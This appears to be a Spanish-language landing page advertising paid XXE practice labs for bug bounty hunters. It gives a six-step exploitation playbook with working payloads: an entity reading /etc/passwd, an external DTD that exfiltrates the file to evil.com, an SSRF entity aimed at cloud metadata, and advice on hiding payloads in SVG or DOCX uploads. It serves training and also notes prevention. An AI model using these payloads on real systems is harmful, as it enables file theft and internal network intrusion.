Nuevos labs cada semana — Accede a todos desde 7,99€/mes

Labs de XXE

XML External Entity (XXE)

¿Qué es XXE?

La XXE explota parsers XML que resuelven entidades externas. Permite leer archivos arbitrarios del servidor, hacer SSRF (vía DTD remoto), ataques de DoS (billion laughs) y, en algunos parsers, ejecución remota de código.

¿Por qué practicar XXE?

Aunque muchos parsers tienen entities desactivadas por defecto post-2018, sigue apareciendo en features que aceptan archivos XML/SVG/DOCX/SOAP, importadores de configuración y APIs SAML. Un XXE crítico paga $2,000-$15,000 por la lectura arbitraria de archivos y SSRF.

¿Qué aprenderás con los labs de XXE?

Aprenderás a construir DTDs internas (file:// targets), DTDs externas para blind XXE con exfil OOB via FTP/HTTP, payloads disfrazados en SVG/DOCX/PPTX (XML zipped), y los bypass de los parsers más comunes (libxml2, JAXB, Python lxml).

Tipos de XXE que cubrimos

  • In-band XXE

    El output del XML parseado se refleja en la respuesta. Lees /etc/passwd directamente.

  • Blind XXE (OOB)

    Sin output: usas DTD externa que hace una petición HTTP/FTP a tu Burp Collaborator con el contenido del archivo encoded.

  • XXE via SVG

    Apps que aceptan SVG (avatar upload, image processor) lo parsean como XML. Mismo vector, packaging diferente.

  • XXE en SOAP/SAML

    Endpoints legacy que parsean SAML/SOAP sin disable_entities. Suelen estar en B2B y enterprise.

¿Cómo encontrar y explotar XXE?

Playbook práctico — del recon a la prueba de concepto.

  1. 1

    Localizar entrada XML

    Cualquier endpoint que parsee XML: APIs SOAP/REST con Content-Type xml, importadores, SAML, RSS, y subidas de SVG/DOCX/XLSX (que son XML por dentro).

    POST /api/import   Content-Type: application/xml
  2. 2

    Probar lectura in-band

    Define una entidad externa que apunte a un fichero local y refléjala donde la respuesta muestre tu dato.

    <?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>
  3. 3

    Pasar a blind con OOB

    Si no se refleja, aloja una DTD externa que lea el fichero y lo exfiltre por HTTP/FTP a tu servidor mediante un parameter entity.

    <!DOCTYPE r [<!ENTITY % p SYSTEM "http://evil.com/x.dtd"> %p;]>
  4. 4

    Construir la DTD de exfiltración

    En tu DTD externa, lee el fichero y concaténalo en una URL de callback para recibir su contenido.

    <!ENTITY % f SYSTEM "file:///etc/passwd"><!ENTITY % e "<!ENTITY % x SYSTEM 'http://evil.com/?d=%f;'>">%e;%x;
  5. 5

    Convertir XXE en SSRF

    Apunta la entidad a servicios internos o a la metadata cloud para pivotar dentro de la red.

    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
  6. 6

    Disfrazar el payload

    Empaqueta el XXE en SVG (avatar/preview) o en un DOCX/XLSX (descomprime, edita el XML, recomprime) para colarlo donde solo aceptan 'imágenes' o 'documentos'.

    avatar.svg con <!DOCTYPE> y &xxe; en el contenido del SVG

Preguntas frecuentes

¿Qué es un XXE?

XML External Entity es una vulnerabilidad en parsers XML mal configurados que resuelven entidades externas. Permite leer ficheros locales, hacer SSRF hacia servicios internos, provocar DoS (billion laughs) y, en algunos parsers, escalar a RCE.

¿Cómo se explota un XXE?

Se envía un documento XML con un DOCTYPE que define una entidad externa apuntando a file:// o http://. Si el parser la resuelve, el contenido se refleja (in-band) o, en blind, se exfiltra a un servidor del atacante mediante una DTD externa con parameter entities.

¿Cómo encontrar XXE en bug bounty?

Busca cualquier feature que procese XML: APIs SOAP, SAML, importadores, feeds y subidas de SVG/DOCX/XLSX. Inyecta una entidad externa hacia tu collaborator; si recibes la petición, hay XXE aunque la respuesta no muestre nada.

¿Cómo prevenir un XXE?

Deshabilita la resolución de DTD y entidades externas en el parser (disallow-doctype-decl, FEATURE_SECURE_PROCESSING), usa formatos más simples como JSON cuando sea posible, y mantén actualizadas las librerías de parsing XML.

¿Diferencia entre XXE y SSRF?

El XXE es el vector (un parser XML que resuelve entidades externas) y el SSRF puede ser una de sus consecuencias: si la entidad apunta a http://interno, el servidor hace la petición. También permite lectura de ficheros (file://), algo que un SSRF puro no siempre logra.

Empieza con labs de XXE

Practica XML External Entity (XXE) con labs basados en reportes reales. En español. Desde 7,99€/mes.

Empieza con el primer lab de XXE